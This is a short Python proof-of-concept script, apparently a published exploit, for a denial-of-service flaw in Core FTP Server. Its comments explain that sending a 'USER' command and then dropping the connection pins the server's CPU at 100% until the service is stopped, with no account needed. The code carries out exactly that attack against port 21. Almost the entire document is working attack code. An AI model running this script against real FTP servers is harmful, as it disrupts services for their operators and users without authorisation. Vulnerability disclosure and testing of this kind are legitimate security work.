# Note: FTP account is not required for exploitation # http://www.mertsarica.com # I discovered a denial-of-service vulnerability on Core FTP Server product. # When you send "USER test\r\n" and then kills the connection # immediately, cpu increases to 100% and stays at that level until you # stop the ftp service. import socket, sys HOST = 'localhost' PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) except: print "Connection error" sys.exit(1) try: s.send('USER MS\r\n') # magic packet s.close() print("Very good, young padawan, but you still have much to learn...") except: print "Connection error" sys.exit(1) 
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